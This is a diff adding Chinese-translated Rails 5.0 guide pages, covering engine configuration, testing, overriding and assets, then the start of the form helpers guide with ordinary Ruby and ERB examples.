Because Rails controllers generally share code for things like authentication +and accessing session variables, they inherit from ApplicationController by +default. Rails engines, however are scoped to run independently from the main +application, so each engine gets a scoped ApplicationController. This +namespace prevents code collisions, but often engine controllers need to access +methods in the main application's ApplicationController. An easy way to +provide this access is to change the engine's scoped ApplicationController to +inherit from the main application's ApplicationController. For our Blorgh +engine this would be done by changing +app/controllers/blorgh/application_controller.rb to look like:

+
+module Blorgh
+  class ApplicationController < ::ApplicationController
+  end
+end
+
+
+
+

By default, the engine's controllers inherit from +Blorgh::ApplicationController. So, after making this change they will have +access to the main application's ApplicationController, as though they were +part of the main application.

This change does require that the engine is run from a Rails application that +has an ApplicationController.

4.4 Configuring an Engine

This section covers how to make the User class configurable, followed by +general configuration tips for the engine.

4.4.1 Setting Configuration Settings in the Application

The next step is to make the class that represents a User in the application +customizable for the engine. This is because that class may not always be +User, as previously explained. To make this setting customizable, the engine +will have a configuration setting called author_class that will be used to +specify which class represents users inside the application.

To define this configuration setting, you should use a mattr_accessor inside +the Blorgh module for the engine. Add this line to lib/blorgh.rb inside the +engine:

+
+mattr_accessor :author_class
+
+
+
+

This method works like its brothers, attr_accessor and cattr_accessor, but +provides a setter and getter method on the module with the specified name. To +use it, it must be referenced using Blorgh.author_class.

The next step is to switch the Blorgh::Article model over to this new setting. +Change the belongs_to association inside this model +(app/models/blorgh/article.rb) to this:

+
+belongs_to :author, class_name: Blorgh.author_class
+
+
+
+

The set_author method in the Blorgh::Article model should also use this class:

+
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+
+
+
+

To save having to call constantize on the author_class result all the time, +you could instead just override the author_class getter method inside the +Blorgh module in the lib/blorgh.rb file to always call constantize on the +saved value before returning the result:

+
+def self.author_class
+  @@author_class.constantize
+end
+
+
+
+

This would then turn the above code for set_author into this:

+
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+
+
+
+

Resulting in something a little shorter, and more implicit in its behavior. The +author_class method should always return a Class object.

Since we changed the author_class method to return a Class instead of a +String, we must also modify our belongs_to definition in the Blorgh::Article +model:

+
+belongs_to :author, class_name: Blorgh.author_class.to_s
+
+
+
+

To set this configuration setting within the application, an initializer should +be used. By using an initializer, the configuration will be set up before the +application starts and calls the engine's models, which may depend on this +configuration setting existing.

Create a new initializer at config/initializers/blorgh.rb inside the +application where the blorgh engine is installed and put this content in it:

+
+Blorgh.author_class = "User"
+
+
+
+

It's very important here to use the String version of the class, +rather than the class itself. If you were to use the class, Rails would attempt +to load that class and then reference the related table. This could lead to +problems if the table wasn't already existing. Therefore, a String should be +used and then converted to a class using constantize in the engine later on.

Go ahead and try to create a new article. You will see that it works exactly in the +same way as before, except this time the engine is using the configuration +setting in config/initializers/blorgh.rb to learn what the class is.

There are now no strict dependencies on what the class is, only what the API for +the class must be. The engine simply requires this class to define a +find_or_create_by method which returns an object of that class, to be +associated with an article when it's created. This object, of course, should have +some sort of identifier by which it can be referenced.

4.4.2 General Engine Configuration

Within an engine, there may come a time where you wish to use things such as +initializers, internationalization or other configuration options. The great +news is that these things are entirely possible, because a Rails engine shares +much the same functionality as a Rails application. In fact, a Rails +application's functionality is actually a superset of what is provided by +engines!

If you wish to use an initializer - code that should run before the engine is +loaded - the place for it is the config/initializers folder. This directory's +functionality is explained in the Initializers +section of the Configuring guide, and works +precisely the same way as the config/initializers directory inside an +application. The same thing goes if you want to use a standard initializer.

For locales, simply place the locale files in the config/locales directory, +just like you would in an application.

5 Testing an engine

When an engine is generated, there is a smaller dummy application created inside +it at test/dummy. This application is used as a mounting point for the engine, +to make testing the engine extremely simple. You may extend this application by +generating controllers, models or views from within the directory, and then use +those to test your engine.

The test directory should be treated like a typical Rails testing environment, +allowing for unit, functional and integration tests.

5.1 Functional Tests

A matter worth taking into consideration when writing functional tests is that +the tests are going to be running on an application - the test/dummy +application - rather than your engine. This is due to the setup of the testing +environment; an engine needs an application as a host for testing its main +functionality, especially controllers. This means that if you were to make a +typical GET to a controller in a controller's functional test like this:

+
+module Blorgh
+  class FooControllerTest < ActionDispatch::IntegrationTest
+    include Engine.routes.url_helpers
+
+    def test_index
+      get foos_url
+      ...
+    end
+  end
+end
+
+
+
+

It may not function correctly. This is because the application doesn't know how +to route these requests to the engine unless you explicitly tell it how. To +do this, you must set the @routes instance variable to the engine's route set +in your setup code:

+
+module Blorgh
+  class FooControllerTest < ActionDispatch::IntegrationTest
+    include Engine.routes.url_helpers
+
+    setup do
+      @routes = Engine.routes
+    end
+
+    def test_index
+      get foos_url
+      ...
+    end
+  end
+end
+
+
+
+

This tells the application that you still want to perform a GET request to the +index action of this controller, but you want to use the engine's route to get +there, rather than the application's one.

This also ensures that the engine's URL helpers will work as expected in your +tests.

6 Improving engine functionality

This section explains how to add and/or override engine MVC functionality in the +main Rails application.

6.1 Overriding Models and Controllers

Engine model and controller classes can be extended by open classing them in the +main Rails application (since model and controller classes are just Ruby classes +that inherit Rails specific functionality). Open classing an Engine class +redefines it for use in the main application. This is usually implemented by +using the decorator pattern.

For simple class modifications, use Class#class_eval. For complex class +modifications, consider using ActiveSupport::Concern.

6.1.1 A note on Decorators and Loading Code

Because these decorators are not referenced by your Rails application itself, +Rails' autoloading system will not kick in and load your decorators. This means +that you need to require them yourself.

Here is some sample code to do this:

+
+# lib/blorgh/engine.rb
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+
+    config.to_prepare do
+      Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
+        require_dependency(c)
+      end
+    end
+  end
+end
+
+
+
+

This doesn't apply to just Decorators, but anything that you add in an engine +that isn't referenced by your main application.

6.1.2 Implementing Decorator Pattern Using Class#class_eval

Adding Article#time_since_created:

+
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def time_since_created
+    Time.current - created_at
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  has_many :comments
+end
+
+
+
+

Overriding Article#summary:

+
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  has_many :comments
+  def summary
+    "#{title}"
+  end
+end
+
+
+
+
6.1.3 Implementing Decorator Pattern Using ActiveSupport::Concern

Using Class#class_eval is great for simple adjustments, but for more complex +class modifications, you might want to consider using ActiveSupport::Concern. +ActiveSupport::Concern manages load order of interlinked dependent modules and +classes at run time allowing you to significantly modularize your code.

Adding Article#time_since_created and Overriding Article#summary:

+
+# MyApp/app/models/blorgh/article.rb
+
+class Blorgh::Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+end
+
+
+
+
+
+# Blorgh/lib/concerns/models/article.rb
+
+module Blorgh::Concerns::Models::Article
+  extend ActiveSupport::Concern
+
+  # 'included do' causes the included code to be evaluated in the
+  # context where it is included (article.rb), rather than being
+  # executed in the module's context (blorgh/concerns/models/article).
+  included do
+    attr_accessor :author_name
+    belongs_to :author, class_name: "User"
+
+    before_validation :set_author
+
+    private
+      def set_author
+        self.author = User.find_or_create_by(name: author_name)
+      end
+  end
+
+  def summary
+    "#{title}"
+  end
+
+  module ClassMethods
+    def some_class_method
+      'some class method string'
+    end
+  end
+end
+
+
+
+

6.2 Overriding Views

When Rails looks for a view to render, it will first look in the app/views +directory of the application. If it cannot find the view there, it will check in +the app/views directories of all engines that have this directory.

When the application is asked to render the view for Blorgh::ArticlesController's +index action, it will first look for the path +app/views/blorgh/articles/index.html.erb within the application. If it cannot +find it, it will look inside the engine.

You can override this view in the application by simply creating a new file at +app/views/blorgh/articles/index.html.erb. Then you can completely change what +this view would normally output.

Try this now by creating a new file at app/views/blorgh/articles/index.html.erb +and put this content in it:

+
+<h1>Articles</h1>
+<%= link_to "New Article", new_article_path %>
+<% @articles.each do |article| %>
+  <h2><%= article.title %></h2>
+  <small>By <%= article.author %></small>
+  <%= simple_format(article.text) %>
+  <hr>
+<% end %>
+
+
+
+

6.3 Routes

Routes inside an engine are isolated from the application by default. This is +done by the isolate_namespace call inside the Engine class. This essentially +means that the application and its engines can have identically named routes and +they will not clash.

Routes inside an engine are drawn on the Engine class within +config/routes.rb, like this:

+
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+
+
+
+

By having isolated routes such as this, if you wish to link to an area of an +engine from within an application, you will need to use the engine's routing +proxy method. Calls to normal routing methods such as articles_path may end up +going to undesired locations if both the application and the engine have such a +helper defined.

For instance, the following example would go to the application's articles_path +if that template was rendered from the application, or the engine's articles_path +if it was rendered from the engine:

+
+<%= link_to "Blog articles", articles_path %>
+
+
+
+

To make this route always use the engine's articles_path routing helper method, +we must call the method on the routing proxy method that shares the same name as +the engine.

+
+<%= link_to "Blog articles", blorgh.articles_path %>
+
+
+
+

If you wish to reference the application inside the engine in a similar way, use +the main_app helper:

+
+<%= link_to "Home", main_app.root_path %>
+
+
+
+

If you were to use this inside an engine, it would always go to the +application's root. If you were to leave off the main_app "routing proxy" +method call, it could potentially go to the engine's or application's root, +depending on where it was called from.

If a template rendered from within an engine attempts to use one of the +application's routing helper methods, it may result in an undefined method call. +If you encounter such an issue, ensure that you're not attempting to call the +application's routing methods without the main_app prefix from within the +engine.

6.4 Assets

Assets within an engine work in an identical way to a full application. Because +the engine class inherits from Rails::Engine, the application will know to +look up assets in the engine's 'app/assets' and 'lib/assets' directories.

Like all of the other components of an engine, the assets should be namespaced. +This means that if you have an asset called style.css, it should be placed at +app/assets/stylesheets/[engine name]/style.css, rather than +app/assets/stylesheets/style.css. If this asset isn't namespaced, there is a +possibility that the host application could have an asset named identically, in +which case the application's asset would take precedence and the engine's one +would be ignored.

Imagine that you did have an asset located at +app/assets/stylesheets/blorgh/style.css To include this asset inside an +application, just use stylesheet_link_tag and reference the asset as if it +were inside the engine:

+
+<%= stylesheet_link_tag "blorgh/style.css" %>
+
+
+
+

You can also specify these assets as dependencies of other assets using Asset +Pipeline require statements in processed files:

+
+/*
+ *= require blorgh/style
+*/
+
+
+
+

Remember that in order to use languages like Sass or CoffeeScript, you +should add the relevant library to your engine's .gemspec.

6.5 Separate Assets & Precompiling

There are some situations where your engine's assets are not required by the +host application. For example, say that you've created an admin functionality +that only exists for your engine. In this case, the host application doesn't +need to require admin.css or admin.js. Only the gem's admin layout needs +these assets. It doesn't make sense for the host app to include +"blorgh/admin.css" in its stylesheets. In this situation, you should +explicitly define these assets for precompilation. This tells sprockets to add +your engine assets when bin/rails assets:precompile is triggered.

You can define assets for precompilation in engine.rb:

+
+initializer "blorgh.assets.precompile" do |app|
+  app.config.assets.precompile += %w(admin.css admin.js)
+end
+
+
+
+

For more information, read the Asset Pipeline guide.

6.6 Other Gem Dependencies

Gem dependencies inside an engine should be specified inside the .gemspec file +at the root of the engine. The reason is that the engine may be installed as a +gem. If dependencies were to be specified inside the Gemfile, these would not +be recognized by a traditional gem install and so they would not be installed, +causing the engine to malfunction.

To specify a dependency that should be installed with the engine during a +traditional gem install, specify it inside the Gem::Specification block +inside the .gemspec file in the engine:

+
+s.add_dependency "moo"
+
+
+
+

To specify a dependency that should only be installed as a development +dependency of the application, specify it like this:

+
+s.add_development_dependency "moo"
+
+
+
+

Both kinds of dependencies will be installed when bundle install is run inside +of the application. The development dependencies for the gem will only be used +when the tests for the engine are running.

Note that if you want to immediately require dependencies when the engine is +required, you should require them before the engine's initialization. For +example:

+
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+  class Engine < ::Rails::Engine
+  end
+end
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/form_helpers.html b/v5.0/form_helpers.html new file mode 100644 index 0000000..0e381a7 --- /dev/null +++ b/v5.0/form_helpers.html @@ -0,0 +1,1065 @@ + + + + + + + +表单辅助方法 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

表单辅助方法

表单是 Web 应用中用户输入的基本界面。尽管如此,由于需要处理表单控件的名称和众多属性,编写和维护表单标记可能很快就会变得单调乏味。Rails 提供用于生成表单标记的视图辅助方法来消除这种复杂性。然而,由于这些辅助方法具有不同的用途和用法,开发者在使用之前需要知道它们之间的差异。

读完本文后,您将学到:

+
    +
  • 如何在 Rails 应用中创建搜索表单和类似的不针对特定模型的通用表单;

  • +
  • 如何使用针对特定模型的表单来创建和修改对应的数据库记录;

  • +
  • 如何使用多种类型的数据生成选择列表;

  • +
  • Rails 提供了哪些日期和时间辅助方法;

  • +
  • 上传文件的表单有什么特殊之处;

  • +
  • 如何用 post 方法把表单提交到外部资源并设置真伪令牌;

  • +
  • 如何创建复杂表单。

  • +
+ + + + +
+
+ +
+
+
+

本文不是所有可用表单辅助方法及其参数的完整文档。关于表单辅助方法的完整介绍,请参阅 Rails API 文档

1 处理基本表单

form_tag 方法是最基本的表单辅助方法。

+
+<%= form_tag do %>
+  Form contents
+<% end %>
+
+
+
+

无参数调用 form_tag 方法会创建 <form> 标签,在提交表单时会向当前页面发起 POST 请求。例如,假设当前页面是 /home/index,上面的代码会生成下面的 HTML(为了提高可读性,添加了一些换行):

+
+<form accept-charset="UTF-8" action="http://github.com/" method="post">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
+  Form contents
+</form>
+
+
+
+

我们注意到,上面的 HTML 的第二行是一个 hidden 类型的 input 元素。这个 input 元素很重要,一旦缺少,表单就不能成功提交。这个 input 元素的 name 属性的值是 utf8,用于说明浏览器处理表单时使用的字符编码方式。对于所有表单,不管表单动作是“GET”还是“POST”,都会生成这个 input 元素。

上面的 HTML 的第三行也是一个 input 元素,元素的 name 属性的值是 authenticity_token。这个 input 元素是 Rails 的一个名为跨站请求伪造保护的安全特性。在启用跨站请求伪造保护的情况下,表单辅助方法会为所有非 GET 表单生成这个 input 元素。关于跨站请求伪造保护的更多介绍,请参阅 安全指南

1.1 通用搜索表单

搜索表单是网上最常见的基本表单,包含:

+
    +
  • 具有“GET”方法的表单元素

  • +
  • 文本框的 label 标签

  • +
  • 文本框

  • +
  • 提交按钮

  • +
+

我们可以分别使用 form_taglabel_tagtext_field_tagsubmit_tag 标签来创建搜索表单,就像下面这样:

+
+<%= form_tag("/search", method: "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/search" method="get">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+
+
+
+

表单中的文本框会根据 name 属性(在上面的例子中值为 q)生成 id 属性。id 属性在应用 CSS 样式或使用 JavaScript 操作表单控件时非常有用。

text_field_tagsubmit_tag 方法之外,每个 HTML 表单控件都有对应的辅助方法。

搜索表单的方法都应该设置为“GET”,这样用户就可以把搜索结果添加为书签。一般来说,Rails 推荐为表单动作使用正确的 HTTP 动词。

1.2 在调用表单辅助方法时使用多个散列

form_tag 辅助方法接受两个参数:提交表单的地址和选项散列。选项散列用于指明提交表单的方法,以及 HTML 选项,例如表单的 class 属性。

link_to 辅助方法一样,提交表单的地址可以是字符串,也可以是散列形式的 URL 参数。Rails 路由能够识别这个散列,将其转换为有效的 URL 地址。尽管如此,由于 form_tag 方法的两个参数都是散列,如果我们想同时指定两个参数,就很容易遇到问题。假如有下面的代码:

+
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="http://github.com/people/search?method=get&class=nifty_form" method="post">'
+
+
+
+

在上面的代码中,methodclass 选项的值会被添加到生成的 URL 地址的查询字符串中,不管我们是不是想要使用两个散列作为参数,Rails 都会把这些选项当作一个散列。为了告诉 Rails 我们想要使用两个散列作为参数,我们可以把第一个散列放在大括号中,或者把两个散列都放在大括号中。这样就可以生成我们想要的 HTML 了:

+
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="http://github.com/people/search" method="get" class="nifty_form">'
+
+
+
+

1.3 用于生成表单元素的辅助方法

Rails 提供了一系列用于生成表单元素(如复选框、文本字段和单选按钮)的辅助方法。这些名称以 _tag 结尾的基本辅助方法(如 text_field_tagcheck_box_tag)只生成单个 input 元素,并且第一个参数都是 input 元素的 name 属性的值。在提交表单时,name 属性的值会和表单数据一起传递,这样在控制器中就可以通过 params 来获得各个 input 元素的值。例如,如果表单包含 <%= text_field_tag(:query) %>,我们就可以通过 params[:query] 来获得这个文本字段的值。

在给 input 元素命名时,Rails 有一些命名约定,使我们可以提交非标量值(如数组或散列),这些值同样可以通过 params 来获得。关于这些命名约定的更多介绍,请参阅 理解参数命名约定

关于这些辅助方法的用法的详细介绍,请参阅 API 文档

1.3.1 复选框

复选框表单控件为用户提供一组可以启用或禁用的选项:

+
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+
+
+
+

check_box_tag 辅助方法的第一个参数是生成的 input 元素的 name 属性的值。可选的第二个参数是 input 元素的值,当对应复选框被选中时,这个值会包含在表单数据中,并可以通过 params 来获得。

1.3.2 单选按钮

和复选框类似,单选按钮表单控件为用户提供一组选项,区别在于这些选项是互斥的,用户只能从中选择一个:

+
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+
+
+
+

check_box_tag 一样,radio_button_tag 辅助方法的第二个参数是生成的 input 元素的值。因为两个单选按钮的 name 属性的值相同(都是 age),所以用户只能从中选择一个,params[:age] 的值要么是 "child" 要么是 "adult"

在使用复选框和单选按钮时一定要指定 label 标签。label 标签为对应选项提供说明文字,并扩大可点击区域,使用户更容易选中想要的选项。

1.4 其他你可能感兴趣的辅助方法

其他值得一提的表单控件包括文本区域、密码框、隐藏输入字段、搜索字段、电话号码字段、日期字段、时间字段、颜色字段、日期时间字段、本地日期时间字段、月份字段、星期字段、URL 地址字段、电子邮件地址字段、数字字段和范围字段:

+
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
+
+
+
+

隐藏输入字段不显示给用户,但和其他 input 元素一样可以保存数据。我们可以使用 JavaScript 来修改隐藏输入字段的值。

搜索字段、电话号码字段、日期字段、时间字段、颜色字段、日期时间字段、本地日期时间字段、月份字段、星期字段、URL 地址字段、电子邮件地址字段、数字字段和范围字段都是 HTML5 控件。要想在旧版本浏览器中拥有一致的体验,我们需要使用 HTML5 polyfill(针对 CSS 或 JavaScript 代码)。HTML5 Cross Browser Polyfills 提供了 HTML5 polyfill 的完整列表,目前最流行的工具是 Modernizr,通过检测 HTML5 特性是否存在来添加缺失的功能。

使用密码框时可以配置 Rails 应用,不把密码框的值写入日志,详情参阅 安全指南

2 处理模型对象

2.1 模型对象辅助方法

表单经常用于修改或创建模型对象。这种情况下当然可以使用 *_tag 辅助方法,但使用起来却有些麻烦,因为我们需要确保每个标记都使用了正确的参数名称并设置了合适的默认值。为此,Rails 提供了量身定制的辅助方法。这些辅助方法的名称不使用 _tag 后缀,例如 text_fieldtext_area

这些辅助方法的第一个参数是实例变量,第二个参数是在这个实例变量对象上调用的方法(通常是模型属性)的名称。 Rails 会把 input 控件的值设置为所调用方法的返回值,并为 input 控件的 name 属性设置合适的值。假设我们在控制器中定义了 @person 实例变量,这个人的名字是 Henry,那么表单中的下述代码:

+
+<%= text_field(:person, :name) %>
+
+
+
+

会生成下面的 HTML:

+
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+
+
+
+

提交表单时,用户输入的值储存在 params[:person][:name] 中。params[:person] 这个散列可以传递给 Person.new 方法作为参数,而如果 @personPerson 模型的实例,这个散列还可以传递给 @person.update 方法作为参数。尽管这些辅助方法的第二个参数通常都是模型属性的名称,但不是必须这样做。在上面的例子中,只要 @person 对象拥有 namename= 方法即可省略第二个参数。

传入的参数必须是实例变量的名称,如 :person"person",而不是模型实例本身。

Rails 还提供了用于显示模型对象数据验证错误的辅助方法,详情参阅 Active Record 数据验证

2.2 把表单绑定到对象上

上一节介绍的辅助方法使用起来虽然很方便,但远非完美的解决方案。如果 Person 模型有很多属性需要修改,那么实例变量对象的名称就需要重复写很多遍。更好的解决方案是把表单绑定到模型对象上,为此我们可以使用 form_for 辅助方法。

假设有一个用于处理文章的控制器 app/controllers/articles_controller.rb

+
+def new
+  @article = Article.new
+end
+
+
+
+

在对应的 app/views/articles/new.html.erb 视图中,可以像下面这样使用 form_for 辅助方法:

+
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, size: "60x12" %>
+  <%= f.submit "Create" %>
+<% end %>
+
+
+
+

这里有几点需要注意:

+
    +
  • 实际需要修改的对象是 @article

  • +
  • form_for 辅助方法的选项是一个散列,其中 :url 键对应的值是路由选项,:html 键对应的值是 HTML 选项,这两个选项本身也是散列。还可以提供 :namespace 选项来确保表单元素具有唯一的 ID 属性,自动生成的 ID 会以 :namespace 选项的值和下划线作为前缀。

  • +
  • form_for 辅助方法会产出一个表单生成器对象,即变量 f

  • +
  • 用于生成表单控件的辅助方法都在表单生成器对象 f 上调用。

  • +
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/articles" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+
+
+

form_for 辅助方法的第一个参数决定了 params 使用哪个键来访问表单数据。在上面的例子中,这个参数为 @article,因此所有 input 控件的 name 属性都是 article[attribute_name] 这种形式,而在 create 动作中 params[:article] 是一个拥有 :title:body 键的散列。关于 input 控件 name 属性重要性的更多介绍,请参阅 理解参数命名约定

在表单生成器上调用的辅助方法和模型对象辅助方法几乎完全相同,区别在于前者无需指定需要修改的对象,因为表单生成器已经指定了需要修改的对象。

使用 fields_for 辅助方法也可以把表单绑定到对象上,但不会创建 <form> 标签。需要在同一个表单中修改多个模型对象时可以使用 fields_for 方法。例如,假设 Person 模型和 ContactDetail 模型关联,我们可以在下面这个表单中同时创建这两个模型的对象:

+
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+  <%= person_form.text_field :name %>
+  <%= fields_for @person.contact_detail do |contact_detail_form| %>
+    <%= contact_detail_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+
+
+
+

form_for 辅助方法一样, fields_for 方法产出的对象是一个表单生成器(实际上 form_for 方法在内部调用了 fields_for 方法)。

2.3 使用记录识别技术

Article 模型对我们来说是直接可用的,因此根据 Rails 开发的最佳实践,我们应该把这个模型声明为资源:

+
+resources :articles
+
+
+
+

资源的声明有许多副作用。关于设置和使用资源的更多介绍,请参阅 Rails 路由全解

在处理 REST 架构的资源时,使用记录识别技术可以大大简化 form_for 辅助方法的调用。简而言之,使用记录识别技术后,我们只需把模型实例传递给 form_for 方法作为参数,Rails 会找出模型名称和其他信息:

+
+## 创建一篇新文章
+# 冗长风格:
+form_for(@article, url: articles_path)
+# 简短风格,效果一样(用到了记录识别技术):
+form_for(@article)
+
+## 编辑一篇现有文章
+# 冗长风格:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# 简短风格:
+form_for(@article)
+
+
+
+

注意,不管是新建记录还是修改已有记录,form_for 方法调用的短格式都是相同的,很方便。记录识别技术很智能,能够通过调用 record.new_record? 方法来判断记录是否为新记录,同时还能选择正确的提交地址,并根据对象的类设置 name 属性的值。

Rails 还会自动为表单的 classid 属性设置合适的值,例如,用于创建文章的表单,其 idclass 属性的值都会被设置为 new_article。用于修改 ID 为 23 的文章的表单,其 class 属性会被设置为 edit_article,其 id 属性会被设置为 edit_article_23。为了行文简洁,后文会省略这些属性。

在模型中使用单表继承(single-table inheritance,STI)时,如果只有父类声明为资源,在子类上就不能使用记录识别技术。这时,必须显式说明模型名称、:url:method

2.3.1 处理命名空间

如果在路由中使用了命名空间,我们同样可以使用 form_for 方法调用的短格式。例如,假设有 admin 命名空间,那么 form_for 方法调用的短格式可以写成:

+
+form_for [:admin, @article]
+
+
+
+

上面的代码会创建提交到 admin 命名空间中 ArticlesController 控制器的表单(在更新文章时会提交到 admin_article_path(@article) 这个地址)。对于多层命名空间的情况,语法也类似:

+
+form_for [:admin, :management, @article]
+
+
+
+

关于 Rails 路由及其相关约定的更多介绍,请参阅xml#rails-routing-from-the-outside-in

2.4 表单如何处理 PATCH、PUT 或 DELETE 请求方法?

Rails 框架鼓励应用使用 REST 架构的设计,这意味着除了 GET 和 POST 请求,应用还要处理许多 PATCH 和 DELETE 请求。不过,大多数浏览器只支持表单的 GET 和 POST 方法,而不支持其他方法。

为了解决这个问题,Rails 使用 name 属性的值为 _method 的隐藏的 input 标签和 POST 方法来模拟其他方法,从而实现相同的效果:

+
+form_tag(search_path, method: "patch")
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/search" method="post">
+  <input name="_method" type="hidden" value="patch" />
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  ...
+</form>
+
+
+
+

在处理提交的数据时,Rails 会考虑 _method 这个特殊参数的值,并按照指定的 HTTP 方法处理请求(在本例中为 PATCH)。

3 快速创建选择列表

选择列表由大量 HTML 标签组成(需要为每个选项分别创建 option 标签),因此最适合动态生成。

下面是选择列表的一个例子:

+
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+
+
+
+

这个选择列表显示了一组城市的列表,用户看到的是城市的名称,应用处理的是城市的 ID。每个 option 标签的 value 属性的值就是城市的 ID。下面我们会看到 Rails 为生成选择列表提供了哪些辅助方法。

3.1 selectoption 标签

最通用的辅助方法是 select_tag,故名思义,这个辅助方法用于生成 select 标签,并在这个 select 标签中封装选项字符串:

+
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+
+
+
+

